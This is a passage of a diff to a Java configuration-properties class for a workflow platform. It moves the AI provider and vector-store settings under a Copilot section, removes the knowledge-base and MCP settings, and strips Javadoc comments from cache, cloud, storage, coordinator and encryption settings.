-        private Anthropic anthropic = new Anthropic();
-        private Copilot copilot = new Copilot();
-        private KnowledgeBase knowledgeBase = new KnowledgeBase();
-        private Mcp mcp = new Mcp();
-        private OpenAi openAi = new OpenAi();
         private Provider provider = new Provider();
-        private Vectorstore vectorstore = new Vectorstore();
-
-        public Anthropic getAnthropic() {
-            return anthropic;
-        }
+        private Copilot copilot = new Copilot();
 
         public Copilot getCopilot() {
             return copilot;
         }
 
-        public KnowledgeBase getKnowledgeBase() {
-            return knowledgeBase;
-        }
-
-        public Mcp getMcp() {
-            return mcp;
-        }
-
-        public OpenAi getOpenAi() {
-            return openAi;
-        }
-
         public Provider getProvider() {
             return provider;
         }
 
-        public Vectorstore getVectorstore() {
-            return vectorstore;
-        }
-
-        public void setAnthropic(Anthropic anthropic) {
-            this.anthropic = anthropic;
-        }
-
         public void setCopilot(Copilot copilot) {
             this.copilot = copilot;
         }
 
-        public void setKnowledgeBase(KnowledgeBase knowledgeBase) {
-            this.knowledgeBase = knowledgeBase;
-        }
-
-        public void setMcp(Mcp mcp) {
-            this.mcp = mcp;
-        }
-
-        public void setOpenAi(OpenAi openAi) {
-            this.openAi = openAi;
-        }
-
         public void setProvider(Provider provider) {
             this.provider = provider;
         }
 
-        public void setVectorstore(Vectorstore vectorstore) {
-            this.vectorstore = vectorstore;
-        }
-
-        /**
-         * Anthropic AI provider configuration.
-         */
-        public static class Anthropic {
-
-            /** Anthropic API key */
-            private String apiKey;
+        public static class Copilot {
 
-            /** Chat model configuration */
-            private Chat chat = new Chat();
+            public enum Provider {
+                OPENAI, ANTHROPIC
+            }
 
-            /** Embedding model configuration */
-            private Embedding embedding = new Embedding();
+            private Anthropic anthropic = new Anthropic();
+            private boolean enabled;
+            private OpenAi openAi = new OpenAi();
+            private Provider provider = Provider.OPENAI;
+            private Vectorstore vectorstore = new Vectorstore();
 
-            public String getApiKey() {
-                return apiKey;
+            public Anthropic getAnthropic() {
+                return anthropic;
             }
 
-            public Chat getChat() {
-                return chat;
+            public void setAnthropic(Anthropic anthropic) {
+                this.anthropic = anthropic;
             }
 
-            public void setApiKey(String apiKey) {
-                this.apiKey = apiKey;
+            public boolean isEnabled() {
+                return enabled;
             }
 
-            public void setChat(Chat chat) {
-                this.chat = chat;
+            public void setEnabled(boolean enabled) {
+                this.enabled = enabled;
             }
 
-            public Embedding getEmbedding() {
-                return embedding;
+            public OpenAi getOpenAi() {
+                return openAi;
             }
 
-            public void setEmbedding(Embedding embedding) {
-                this.embedding = embedding;
+            public void setOpenAi(OpenAi openAi) {
+                this.openAi = openAi;
             }
 
-            /**
-             * Anthropic chat model configuration.
-             */
-            public static class Chat {
-
-                /** Chat model options */
-                private Options options = new Options();
-
-                public Options getOptions() {
-                    return options;
-                }
-
-                public void setOptions(Options options) {
-                    this.options = options;
-                }
-
-                /**
-                 * Chat model configuration options.
-                 */
-                public static class Options {
+            public Provider getProvider() {
+                return provider;
+            }
 
-                    /** AI model name (e.g., claude-3-opus-20240229) */
-                    private String model;
+            public void setProvider(Provider provider) {
+                this.provider = provider;
+            }
 
-                    /** Temperature for response randomness (0.0-1.0) */
-                    private Double temperature;
+            public Vectorstore getVectorstore() {
+                return vectorstore;
+            }
 
-                    public String getModel() {
-                        return model;
-                    }
+            public void setVectorstore(Vectorstore vectorstore) {
+                this.vectorstore = vectorstore;
+            }
 
-                    public void setModel(String model) {
-                        this.model = model;
-                    }
+            public static class Anthropic {
 
-                    public Double getTemperature() {
-                        return temperature;
-                    }
+                private String apiKey;
+                private Chat chat = new Chat();
+                private Embedding embedding = new Embedding();
 
-                    public void setTemperature(Double temperature) {
-                        this.temperature = temperature;
-                    }
+                public String getApiKey() {
+                    return apiKey;
                 }
-            }
-
-            /**
-             * Anthropic embedding configuration (using external provider).
-             */
-            public static class Embedding {
 
-                /**
-                 * Embedding provider type for Anthropic.
-                 */
-                public enum Provider {
-                    /** OpenAI embedding provider */
-                    OPENAI
+                public Chat getChat() {
+                    return chat;
                 }
 
-                /** OpenAI embedding configuration */
-                private OpenAi openAi = new OpenAi();
-
-                /** Embedding provider */
-                private Provider provider = Provider.OPENAI;
-
-                public OpenAi getOpenAi() {
-                    return openAi;
+                public void setApiKey(String apiKey) {
+                    this.apiKey = apiKey;
                 }
 
-                public void setOpenAi(OpenAi openAi) {
-                    this.openAi = openAi;
+                public void setChat(Chat chat) {
+                    this.chat = chat;
                 }
 
-                public Provider getProvider() {
-                    return provider;
+                public Embedding getEmbedding() {
+                    return embedding;
                 }
 
-                public void setProvider(Provider provider) {
-                    this.provider = provider;
+                public void setEmbedding(Embedding embedding) {
+                    this.embedding = embedding;
                 }
 
-                /**
-                 * OpenAI embedding configuration for Anthropic.
-                 */
-                public static class OpenAi {
+                public static class Chat {
 
-                    /** OpenAI embedding options */
                     private Options options = new Options();
 
                     public Options getOptions() {
@@ -632,12 +477,8 @@ public void setOptions(Options options) {
                         this.options = options;
                     }
 
-                    /**
-                     * OpenAI embedding model options.
-                     */
                     public static class Options {
 
-                        /** Embedding model name */
                         private String model;
 
                         public String getModel() {
@@ -647,156 +488,105 @@ public String getModel() {
                         public void setModel(String model) {
                             this.model = model;
                         }
-                    }
-                }
-            }
-        }
 
-        /**
-         * AI Copilot configuration for workflow assistance.
-         */
-        public static class Copilot {
+                        private Double temperature;
 
-            /**
-             * AI provider for Copilot functionality.
-             */
-            public enum Provider {
-                /** OpenAI provider */
-                OPENAI,
-                /** Anthropic provider */
-                ANTHROPIC
-            }
-
-            /** Whether Copilot is enabled */
-            private boolean enabled;
-
-            /** AI provider for Copilot */
-            private Provider provider = Provider.OPENAI;
-
-            /** Vector store configuration for Copilot context */
-            private Vectorstore vectorstore = new Vectorstore();
-
-            public boolean isEnabled() {
-                return enabled;
-            }
-
-            public void setEnabled(boolean enabled) {
-                this.enabled = enabled;
-            }
+                        public Double getTemperature() {
+                            return temperature;
+                        }
 
-            public Provider getProvider() {
-                return provider;
-            }
+                        public void setTemperature(Double temperature) {
+                            this.temperature = temperature;
+                        }
+                    }
+                }
 
-            public void setProvider(Provider provider) {
-                this.provider = provider;
-            }
+                public static class Embedding {
 
-            public Vectorstore getVectorstore() {
-                return vectorstore;
-            }
+                    public enum Provider {
+                        OPENAI
+                    }
 
-            public void setVectorstore(Vectorstore vectorstore) {
-                this.vectorstore = vectorstore;
-            }
+                    private OpenAi openAi = new OpenAi();
+                    private Provider provider = Provider.OPENAI;
 
-            /**
-             * Vector store configuration for Copilot.
-             */
-            public static class Vectorstore {
+                    public OpenAi getOpenAi() {
+                        return openAi;
+                    }
 
-                /** Vector store provider */
-                private Ai.Vectorstore.Provider provider = Ai.Vectorstore.Provider.PGVECTOR;
+                    public void setOpenAi(OpenAi openAi) {
+                        this.openAi = openAi;
+                    }
 
-                public Ai.Vectorstore.Provider getProvider() {
-                    return provider;
-                }
+                    public Provider getProvider() {
+                        return provider;
+                    }
 
-                public void setProvider(Ai.Vectorstore.Provider provider) {
-                    this.provider = provider;
-                }
-            }
-        }
+                    public void setProvider(Provider provider) {
+                        this.provider = provider;
+                    }
 
-        /**
-         * Knowledge base AI configuration.
-         */
-        public static class KnowledgeBase {
+                    public static class OpenAi {
 
-            /** Whether knowledge base AI features are enabled */
-            private boolean enabled;
+                        private Options options = new Options();
 
-            /** Embedding model configuration for knowledge base */
-            private Embedding embedding = new Embedding();
+                        public Options getOptions() {
+                            return options;
+                        }
 
-            /** Vector store configuration for knowledge base */
-            private Vectorstore vectorstore = new Vectorstore();
+                        public void setOptions(Options options) {
+                            this.options = options;
+                        }
 
-            public boolean isEnabled() {
-                return enabled;
-            }
+                        public static class Options {
 
-            public void setEnabled(boolean enabled) {
-                this.enabled = enabled;
-            }
+                            private String model;
 
-            public Embedding getEmbedding() {
-                return embedding;
-            }
+                            public String getModel() {
+                                return model;
+                            }
 
-            public void setEmbedding(Embedding embedding) {
-                this.embedding = embedding;
-            }
+                            public void setModel(String model) {
+                                this.model = model;
+                            }
+                        }
 
-            public Vectorstore getVectorstore() {
-                return vectorstore;
+                    }
+                }
             }
 
-            public void setVectorstore(Vectorstore vectorstore) {
-                this.vectorstore = vectorstore;
-            }
+            public static class OpenAi {
 
-            /**
-             * Knowledge base embedding configuration.
-             */
-            public static class Embedding {
+                private String apiKey;
+                private Chat chat = new Chat();
+                private Embedding embedding = new Embedding();
 
-                /**
-                 * Embedding provider for knowledge base.
-                 */
-                public enum Provider {
-                    /** OpenAI embedding provider */
-                    OPENAI
+                public String getApiKey() {
+                    return apiKey;
                 }
 
-                /** OpenAI embedding configuration */
-                private OpenAi openAi = new OpenAi();
-
-                /** Embedding provider */
-                private Provider provider = Provider.OPENAI;
+                public void setApiKey(String apiKey) {
+                    this.apiKey = apiKey;
+                }
 
-                public OpenAi getOpenAi() {
-                    return openAi;
+                public Chat getChat() {
+                    return chat;
                 }
 
-                public void setOpenAi(OpenAi openAi) {
-                    this.openAi = openAi;
+                public Embedding getEmbedding() {
+                    return embedding;
                 }
 
-                public Provider getProvider() {
-                    return provider;
+                public void setChat(Chat chat) {
+                    this.chat = chat;
                 }
 
-                public void setProvider(Provider provider) {
-                    this.provider = provider;
+                public void setEmbedding(Embedding embedding) {
+                    this.embedding = embedding;
                 }
 
-                /**
-                 * OpenAI embedding configuration for knowledge base.
-                 */
-                public static class OpenAi {
+                public static class Chat {
 
-                    /** OpenAI embedding options */
                     private Options options = new Options();
 
                     public Options getOptions() {
@@ -807,13 +597,10 @@ public void setOptions(Options options) {
                         this.options = options;
                     }
 
-                    /**
-                     * OpenAI embedding model options for knowledge base.
-                     */
                     public static class Options {
 
-                        /** Embedding model name */
                         private String model;
+                        private Double temperature;
 
                         public String getModel() {
                             return model;
@@ -822,230 +609,106 @@ public String getModel() {
                         public void setModel(String model) {
                             this.model = model;
                         }
-                    }
-                }
-            }
 
-            /**
-             * Knowledge base vector store configuration.
-             */
-            public static class Vectorstore {
-
-                /** Vector store provider */
-                private Ai.Vectorstore.Provider provider = Ai.Vectorstore.Provider.PGVECTOR;
-
-                public Ai.Vectorstore.Provider getProvider() {
-                    return provider;
-                }
+                        public Double getTemperature() {
+                            return temperature;
+                        }
 
-                public void setProvider(Ai.Vectorstore.Provider provider) {
-                    this.provider = provider;
+                        public void setTemperature(Double temperature) {
+                            this.temperature = temperature;
+                        }
+                    }
                 }
-            }
-        }
 
-        /**
-         * MCP (Model Context Protocol) server configuration.
-         */
-        public static class Mcp {
+                public static class Embedding {
 
-            private Server server = new Server();
+                    private Options options = new Options();
 
-            public Server getServer() {
-                return server;
-            }
+                    public Options getOptions() {
+                        return options;
+                    }
 
-            public void setServer(Server server) {
-                this.server = server;
-            }
+                    public void setOptions(Options options) {
+                        this.options = options;
+                    }
 
-            /**
-             * MCP server settings.
-             */
-            public static class Server {
+                    public static class Options {
 
-                /** Whether the MCP server is enabled */
-                private boolean enabled;
+                        private String model;
 
-                public boolean isEnabled() {
-                    return enabled;
-                }
+                        public String getModel() {
+                            return model;
+                        }
 
-                public void setEnabled(boolean enabled) {
-                    this.enabled = enabled;
+                        public void setModel(String model) {
+                            this.model = model;
+                        }
+                    }
                 }
             }
-        }
-
-        /**
-         * OpenAI provider configuration.
-         */
-        public static class OpenAi {
-
-            /** OpenAI API key */
-            private String apiKey;
-
-            /** Chat model configuration */
-            private Chat chat = new Chat();
-
-            /** Embedding model configuration */
-            private Embedding embedding = new Embedding();
 
-            public String getApiKey() {
-                return apiKey;
-            }
-
-            public void setApiKey(String apiKey) {
-                this.apiKey = apiKey;
-            }
-
-            public Chat getChat() {
-                return chat;
-            }
-
-            public Embedding getEmbedding() {
-                return embedding;
-            }
-
-            public void setChat(Chat chat) {
-                this.chat = chat;
-            }
-
-            public void setEmbedding(Embedding embedding) {
-                this.embedding = embedding;
-            }
-
-            /**
-             * OpenAI chat model configuration.
-             */
-            public static class Chat {
+            public static class Vectorstore {
 
-                /** Chat model options */
-                private Options options = new Options();
+                private PgVector pgVector = new PgVector();
 
-                public Options getOptions() {
-                    return options;
+                public PgVector getPgVector() {
+                    return pgVector;
                 }
 
-                public void setOptions(Options options) {
-                    this.options = options;
+                public void setPgVector(PgVector pgVector) {
+                    this.pgVector = pgVector;
                 }
 
-                /**
-                 * OpenAI chat model options.
-                 */
-                public static class Options {
-
-                    /** Chat model name (e.g., gpt-4, gpt-3.5-turbo) */
-                    private String model;
+                public static class PgVector {
 
-                    /** Temperature for response randomness (0.0-2.0) */
-                    private Double temperature;
+                    private String url;
+                    private String username;
+                    private String password;
 
-                    public String getModel() {
-                        return model;
+                    public String getUrl() {
+                        return url;
                     }
 
-                    public void setModel(String model) {
-                        this.model = model;
+                    public void setUrl(String url) {
+                        this.url = url;
                     }
 
-                    public Double getTemperature() {
-                        return temperature;
+                    public String getUsername() {
+                        return username;
                     }
 
-                    public void setTemperature(Double temperature) {
-                        this.temperature = temperature;
+                    public void setUsername(String username) {
+                        this.username = username;
                     }
-                }
-            }
-
-            /**
-             * OpenAI embedding model configuration.
-             */
-            public static class Embedding {
-
-                /** Embedding model options */
-                private Options options = new Options();
-
-                public Options getOptions() {
-                    return options;
-                }
-
-                public void setOptions(Options options) {
-                    this.options = options;
-                }
-
-                /**
-                 * OpenAI embedding model options.
-                 */
-                public static class Options {
 
-                    /** Embedding model name (e.g., text-embedding-ada-002) */
-                    private String model;
-
-                    public String getModel() {
-                        return model;
+                    public String getPassword() {
+                        return password;
                     }
 
-                    public void setModel(String model) {
-                        this.model = model;
+                    public void setPassword(String password) {
+                        this.password = password;
                     }
                 }
             }
         }
 
-        /**
-         * AI provider API key configuration for various AI services.
-         */
         public static class Provider {
 
-            /** Amazon Bedrock Anthropic Claude 2 configuration */
             private AmazonBedrockAnthropic2 amazonBedrockAnthropic2 = new AmazonBedrockAnthropic2();
-
-            /** Amazon Bedrock Anthropic Claude 3 configuration */
             private AmazonBedrockAnthropic3 amazonBedrockAnthropic3 = new AmazonBedrockAnthropic3();
-
-            /** Amazon Bedrock Cohere configuration */
             private AmazonBedrockCohere amazonBedrockCohere = new AmazonBedrockCohere();
-
-            /** Amazon Bedrock Jurassic-2 configuration */
             private AmazonBedrockJurassic2 amazonBedrockJurassic2 = new AmazonBedrockJurassic2();
-
-            /** Amazon Bedrock Llama configuration */
             private AmazonBedrockLlama amazonBedrockLlama = new AmazonBedrockLlama();
-
-            /** Amazon Bedrock Titan configuration */
             private AmazonBedrockTitan amazonBedrockTitan = new AmazonBedrockTitan();
-
-            /** Anthropic Claude configuration */
             private Anthropic anthropic = new Anthropic();
-
-            /** Azure OpenAI configuration */
             private AzureOpenAi azureOpenAi = new AzureOpenAi();
-
-            /** DeepSeek configuration */
             private DeepSeek deepSeek = new DeepSeek();
-
-            /** Groq configuration */
             private Groq groq = new Groq();
-
-            /** Mistral AI configuration */
             private Mistral mistral = new Mistral();
-
-            /** NVIDIA AI configuration */
             private Nvidia nvidia = new Nvidia();
-
-            /** OpenAI configuration */
             private OpenAi openAi = new OpenAi();
-
-            /** Perplexity AI configuration */
             private Perplexity perplexity = new Perplexity();
-
-            /** Stability AI configuration */
             private Stability stability = new Stability();
-
-            /** Google Vertex AI Gemini configuration */
             private VertexGemini vertexGemini = new VertexGemini();
 
             public AmazonBedrockAnthropic2 getAmazonBedrockAnthropic2() {
@@ -1092,7 +755,6 @@ public Nvidia getNvidia() {
                 return nvidia;
             }
 
-            /** HuggingFace configuration */
             private HuggingFace huggingFace = new HuggingFace();
 
             public HuggingFace getHuggingFace() {
@@ -1187,9 +849,8 @@ public void setVertexGemini(VertexGemini vertexGemini) {
                 this.vertexGemini = vertexGemini;
             }
 
-            /** Amazon Bedrock Anthropic Claude 2 API configuration. */
             public static class AmazonBedrockAnthropic2 {
-                /** API key */
+
                 private String apiKey;
 
                 public String getApiKey() {
@@ -1201,9 +862,8 @@ public void setApiKey(String apiKey) {
                 }
             }
 
-            /** Amazon Bedrock Anthropic Claude 3 API configuration. */
             public static class AmazonBedrockAnthropic3 {
-                /** API key */
+
                 private String apiKey;
 
                 public String getApiKey() {
@@ -1215,9 +875,8 @@ public void setApiKey(String apiKey) {
                 }
             }
 
-            /** Amazon Bedrock Cohere API configuration. */
             public static class AmazonBedrockCohere {
-                /** API key */
+
                 private String apiKey;
 
                 public String getApiKey() {
@@ -1229,9 +888,8 @@ public void setApiKey(String apiKey) {
                 }
             }
 
-            /** Amazon Bedrock Jurassic-2 API configuration. */
             public static class AmazonBedrockJurassic2 {
-                /** API key */
+
                 private String apiKey;
 
                 public String getApiKey() {
@@ -1243,9 +901,8 @@ public void setApiKey(String apiKey) {
                 }
             }
 
-            /** Amazon Bedrock Llama API configuration. */
             public static class AmazonBedrockLlama {
-                /** API key */
+
                 private String apiKey;
 
                 public String getApiKey() {
@@ -1257,9 +914,8 @@ public void setApiKey(String apiKey) {
                 }
             }
 
-            /** Amazon Bedrock Titan API configuration. */
             public static class AmazonBedrockTitan {
-                /** API key */
+
                 private String apiKey;
 
                 public String getApiKey() {
@@ -1271,9 +927,8 @@ public void setApiKey(String apiKey) {
                 }
             }
 
-            /** Anthropic Claude API configuration. */
             public static class Anthropic {
-                /** API key */
+
                 private String apiKey;
 
                 public String getApiKey() {
@@ -1285,9 +940,8 @@ public void setApiKey(String apiKey) {
                 }
             }
 
-            /** Azure OpenAI API configuration. */
             public static class AzureOpenAi {
-                /** API key */
+
                 private String apiKey;
 
                 public String getApiKey() {
@@ -1299,9 +953,8 @@ public void setApiKey(String apiKey) {
                 }
             }
 
-            /** DeepSeek API configuration. */
             public static class DeepSeek {
-                /** API key */
+
                 private String apiKey;
 
                 public String getApiKey() {
@@ -1313,9 +966,8 @@ public void setApiKey(String apiKey) {
                 }
             }
 
-            /** Groq API configuration. */
             public static class Groq {
-                /** API key */
+
                 private String apiKey;
 
                 public String getApiKey() {
@@ -1327,9 +979,8 @@ public void setApiKey(String apiKey) {
                 }
             }
 
-            /** NVIDIA AI API configuration. */
             public static class Nvidia {
-                /** API key */
+
                 private String apiKey;
 
                 public String getApiKey() {
@@ -1341,9 +992,8 @@ public void setApiKey(String apiKey) {
                 }
             }
 
-            /** HuggingFace API configuration. */
             public static class HuggingFace {
-                /** API key */
+
                 private String apiKey;
 
                 public String getApiKey() {
@@ -1355,9 +1005,8 @@ public void setApiKey(String apiKey) {
                 }
             }
 
-            /** Mistral AI API configuration. */
             public static class Mistral {
-                /** API key */
+
                 private String apiKey;
 
                 public String getApiKey() {
@@ -1369,9 +1018,8 @@ public void setApiKey(String apiKey) {
                 }
             }
 
-            /** OpenAI API configuration. */
             public static class OpenAi {
-                /** API key */
+
                 private String apiKey;
 
                 public String getApiKey() {
@@ -1383,9 +1031,8 @@ public void setApiKey(String apiKey) {
                 }
             }
 
-            /** Perplexity AI API configuration. */
             public static class Perplexity {
-                /** API key */
+
                 private String apiKey;
 
                 public String getApiKey() {
@@ -1397,9 +1044,8 @@ public void setApiKey(String apiKey) {
                 }
             }
 
-            /** Stability AI API configuration. */
             public static class Stability {
-                /** API key */
+
                 private String apiKey;
 
                 public String getApiKey() {
@@ -1411,9 +1057,8 @@ public void setApiKey(String apiKey) {
                 }
             }
 
-            /** Google Vertex AI Gemini API configuration. */
             public static class VertexGemini {
-                /** API key */
+
                 private String apiKey;
 
                 public String getApiKey() {
@@ -1425,78 +1070,13 @@ public void setApiKey(String apiKey) {
                 }
             }
         }
-
-        /**
-         * Vector store configuration for AI embeddings storage.
-         */
-        public static class Vectorstore {
-
-            /**
-             * Vector store provider type.
-             */
-            public enum Provider {
-                /** PostgreSQL with pgvector extension */
-                PGVECTOR
-            }
-
-            /** PgVector configuration */
-            private PgVector pgVector = new PgVector();
-
-            public PgVector getPgVector() {
-                return pgVector;
-            }
-
-            public void setPgVector(PgVector pgVector) {
-                this.pgVector = pgVector;
-            }
-
-            /**
-             * PostgreSQL pgvector extension configuration for vector storage.
-             */
-            public static class PgVector {
-
-                /** Database password */
-                private String password;
-
-                /** JDBC URL for PostgreSQL database */
-                private String url;
-
-                /** Database username */
-                private String username;
-
-                public String getPassword() {
-                    return password;
-                }
-
-                public void setPassword(String password) {
-                    this.password = password;
-                }
-
-                public String getUrl() {
-                    return url;
-                }
-
-                public void setUrl(String url) {
-                    this.url = url;
-                }
-
-                public String getUsername() {
-                    return username;
-                }
-
-                public void setUsername(String username) {
-                    this.username = username;
-                }
-            }
-        }
     }
 
     /**
-     * Analytics configuration for usage tracking and metrics.
+     * Analytics properties.
      */
     public static class Analytics {
 
-        /** Whether analytics features are enabled */
         private boolean enabled;
 
         public boolean isEnabled() {
@@ -1509,21 +1089,17 @@ public void setEnabled(boolean enabled) {
     }
 
     /**
-     * Cache provider configuration.
+     * Cache properties.
      */
     public static class Cache {
 
         /**
-         * Available cache providers.
+         * Cache provider.
          */
         public enum Provider {
-            /** Redis cache */
-            REDIS,
-            /** Caffeine in-memory cache */
-            CAFFEINE
+            REDIS, CAFFEINE
         }
 
-        /** Cache provider */
         private Provider provider = Provider.CAFFEINE;
 
         public Provider getProvider() {
@@ -1536,24 +1112,18 @@ public void setProvider(Provider provider) {
     }
 
     /**
-     * Cloud provider configuration for cloud-specific integrations.
+     * Cloud properties.
      */
     public static class Cloud {
 
         /**
-         * Supported cloud providers.
+         * Cloud provider.
          */
         public enum Provider {
-            /** Amazon Web Services */
-            AWS,
-            /** No cloud provider */
-            NONE
+            AWS, NONE
         }
 
-        /** AWS configuration */
         private Aws aws;
-
-        /** Cloud provider */
         private Provider provider = Provider.NONE;
 
         public Aws getAws() {
@@ -1573,20 +1143,13 @@ public void setProvider(Provider provider) {
         }
 
         /**
-         * Amazon Web Services configuration.
+         * AWS properties.
          */
         public static class Aws {
 
-            /** AWS access key ID */
             private String accessKeyId;
-
-            /** AWS region */
             private String region;
-
-            /** AWS secret access key */
             private String secretAccessKey;
-
-            /** AWS account ID */
             private String accountId;
 
             public String getAccountId() {
@@ -1624,11 +1187,10 @@ public void setSecretAccessKey(String secretAccessKey) {
     }
 
     /**
-     * Component registry configuration for managing available components.
+     * Component properties.
      */
     public static class Component {
 
-        /** Component registry configuration */
         private Registry registry = new Registry();
 
         public Registry getRegistry() {
@@ -1640,11 +1202,10 @@ public void setRegistry(Registry registry) {
         }
 
         /**
-         * Component registry settings.
+         * Registry properties.
          */
         public static class Registry {
 
-            /** List of component names to exclude from registration */
             private List<String> exclude;
 
             public List<String> getExclude() {
@@ -1658,17 +1219,12 @@ public void setExclude(List<String> exclude) {
     }
 
     /**
-     * Workflow coordinator configuration for orchestrating workflow execution.
+     * Coordinator properties.
      */
     public static class Coordinator {
 
-        /** Whether coordinator is enabled */
         private boolean enabled = true;
-
-        /** Task coordination configuration */
         private Task task = new Task();
-
-        /** Trigger coordination configuration */
         private Trigger trigger = new Trigger();
 
         public boolean isEnabled() {
@@ -1696,11 +1252,10 @@ public void setTrigger(Trigger trigger) {
         }
 
         /**
-         * Task coordination configuration for workflow tasks.
+         * Task properties.
          */
         public static class Task {
 
-            /** Event subscription configuration */
             private Subscriptions subscriptions = new Subscriptions();
 
             public Subscriptions getSubscriptions() {
@@ -1712,26 +1267,15 @@ public void setSubscriptions(Subscriptions subscriptions) {
             }
 
             /**
-             * Event subscription configuration for task events.
+             * Subscriptions properties.
              */
             public static class Subscriptions {
 
-                /** Number of subscribers for application events */
                 private int applicationEvents = 1;
-
-                /** Number of subscribers for resume job events */
                 private int resumeJobEvents = 1;
-
-                /** Number of subscribers for start job events */
                 private int startJobEvents = 1;
-
-                /** Number of subscribers for stop job events */
                 private int stopJobEvents = 1;
-
-                /** Number of subscribers for task execution complete events */
                 private int taskExecutionCompleteEvents = 1;
-
-                /** Number of subscribers for task execution error events */
                 private int taskExecutionErrorEvents = 1;
 
                 public int getApplicationEvents() {
@@ -1785,17 +1329,12 @@ public void setTaskExecutionErrorEvents(int taskExecutionErrorEvents) {
         }
 
         /**
-         * Trigger coordination configuration for workflow triggers.
+         * Trigger properties.
          */
         public static class Trigger {
 
-            /** Polling configuration for trigger checks */
             private Polling polling = new Polling();
-
-            /** Event subscription configuration */
             private Subscriptions subscriptions = new Subscriptions();
-
-            /** Scheduler configuration */
             private Scheduler scheduler = new Scheduler();
 
             public Polling getPolling() {
@@ -1822,12 +1361,8 @@ public void setSubscriptions(Subscriptions subscriptions) {
                 this.subscriptions = subscriptions;
             }
 
-            /**
-             * Polling configuration for periodic trigger checks.
-             */
             public static class Polling {
 
-                /** Check period in seconds */
                 private int checkPeriod = 5;
 
                 public int getCheckPeriod() {
@@ -1840,21 +1375,17 @@ public void setCheckPeriod(int checkPeriod) {
             }
 
             /**
-             * Scheduler configuration for scheduled triggers.
+             * Scheduler properties.
              */
             public static class Scheduler {
 
                 /**
-                 * Available scheduler providers.
+                 * Scheduler provider.
                  */
                 public enum Provider {
-                    /** AWS EventBridge Scheduler */
-                    AWS,
-                    /** Quartz Scheduler */
-                    QUARTZ
+                    AWS, QUARTZ
                 }
 
-                /** Scheduler provider */
                 private Provider provider = Provider.QUARTZ;
 
                 public Provider getProvider() {
@@ -1867,26 +1398,15 @@ public void setProvider(Provider provider) {
             }
 
             /**
-             * Event subscription configuration for trigger events.
+             * Subscriptions properties.
              */
             public static class Subscriptions {
 
-                /** Number of subscribers for application events */
                 private int applicationEvents = 1;
-
-                /** Number of subscribers for trigger execution complete events */
                 private int triggerExecutionCompleteEvents = 1;
-
-                /** Number of subscribers for trigger execution error events */
                 private int triggerExecutionErrorEvents = 1;
-
-                /** Number of subscribers for trigger listener events */
                 private int triggerListenerEvents = 1;
-
-                /** Number of subscribers for trigger poll events */
                 private int triggerPollEvents = 1;
-
-                /** Number of subscribers for trigger webhook events */
                 private int triggerWebhookEvents = 1;
 
                 public int getApplicationEvents() {
@@ -1941,17 +1461,12 @@ public void setTriggerWebhookEvents(int triggerWebhookEvents) {
     }
 
     /**
-     * Database datasource configuration for the main application database.
+     * Datasource properties.
      */
     public static class Datasource {
 
-        /** Database password */
         private String password;
-
-        /** JDBC URL for database connection */
         private String url;
-
-        /** Database username */
         private String username;
 
         public String getPassword() {
@@ -1980,23 +1495,14 @@ public void setUsername(String username) {
     }
 
     /**
-     * Data storage provider configuration for structured data persistence.
+     *
      */
     public static class DataStorage {
 
-        /**
-         * Available data storage providers.
-         */
         public enum Provider {
-            /** AWS-based storage */
-            AWS,
-            /** Filesystem-based storage */
-            FILESYSTEM,
-            /** JDBC database storage */
-            JDBC
+            AWS, FILESYSTEM, JDBC
         }
 
-        /** Data storage provider */
         private Provider provider = Provider.JDBC;
 
         public Provider getProvider() {
@@ -2009,19 +1515,10 @@ public void setProvider(Provider provider) {
     }
 
     /**
-     * Service discovery configuration for microservices architecture.
+     * Discovery service properties.
      */
     public static class DiscoveryService {
 
-        /**
-         * Available service discovery providers.
-         */
-        public enum Provider {
-            /** Redis-based service discovery */
-            REDIS
-        }
-
-        /** Service discovery provider */
         private Provider provider = Provider.REDIS;
 
         public Provider getProvider() {
@@ -2031,32 +1528,29 @@ public Provider getProvider() {
         public void setProvider(Provider provider) {
             this.provider = provider;
         }
+
+        /**
+         * Discovery service provider.
+         */
+        public enum Provider {
+            REDIS
+        }
     }
 
     /**
-     * File storage configuration for storing files and attachments.
+     * FileStorage properties.
      */
     public static class FileStorage {
 
         /**
-         * Available file storage providers.
+         * FileStorage provider.
          */
         public enum Provider {
-            /** AWS S3 storage */
-            AWS,
-            /** Local filesystem storage */
-            FILESYSTEM,
-            /** JDBC database storage */
-            JDBC
+            AWS, FILESYSTEM, JDBC
         }
 
-        /** AWS S3 configuration */
         private Aws aws = new Aws();
-
-        /** Filesystem storage configuration */
         private Filesystem filesystem = new Filesystem();
-
-        /** File storage provider */
         private Provider provider = Provider.FILESYSTEM;
 
         public Aws getAws() {
@@ -2084,11 +1578,10 @@ public void setProvider(Provider provider) {
         }
 
         /**
-         * AWS S3 configuration for file storage.
+         * AWS properties.
          */
         public static class Aws {
 
-            /** S3 bucket name */
             private String bucket;
 
             public String getBucket() {
@@ -2101,11 +1594,10 @@ public void setBucket(String bucket) {
         }
 
         /**
-         * Local filesystem configuration for file storage.
+         * Filesystem properties.
          */
         public static class Filesystem {
 
-            /** Base directory for file storage */
             private String basedir = "";
 
             public String getBasedir() {
@@ -2119,24 +1611,18 @@ public void setBasedir(String basedir) {
     }
 
     /**
-     * Encryption configuration for sensitive data protection.
+     * Encryption properties.
      */
     public static class Encryption {
 
         /**
-         * Available encryption key providers.
+         * Encryption provider.
          */
         public enum Provider {
-            /** Filesystem-based key storage */
-            FILESYSTEM,
-            /** Property-based key storage */
-            PROPERTY;
+            FILESYSTEM, PROPERTY;
         }
 
-        /** Encryption provider */
         private Provider provider = Provider.FILESYSTEM;
-
-        /** Property-based encryption configuration */
         private Property property = new Property();
 
         public Provider getProvider() {
@@ -2155,12 +1641,8 @@ public void setProperty(Property property) {
             this.property = property;
         }
 
-        /**
-         * Property-based encryption key configuration.
-         */
         public static class Property {
 
-            /** Encryption key */
             private String key;
 
             public String getKey() {
@@ -2174,36 +1656,12 @@ public void setKey(String key) {
     }
 
     /**
-     * Help hub configuration for in-application help features.
+     * HelpHub properties.
      */
     public static class HelpHub {
 
-        /** Whether help hub is enabled */
-        private boolean enabled;
-
-        public boolean isEnabled() {
-            return enabled;
-        }
-
-        public void setEnabled(boolean enabled) {
-            this.enabled = enabled;
-        }
-    }
-
-    /**
-     * Knowledge base configuration for document storage and retrieval.
-     */
-    public static class KnowledgeBase {
-
-        /** Whether knowledge base is enabled */
         private boolean enabled;
 
-        /** OCR configuration */
-        private Ocr ocr = new Ocr();
-
-        /** Event subscription configuration */
-        private Subscriptions subscriptions = new Subscriptions();
-
         public boolean isEnabled() {
             return enabled;
         }
@@ -2211,185 +1669,23 @@ public boolean isEnabled() {
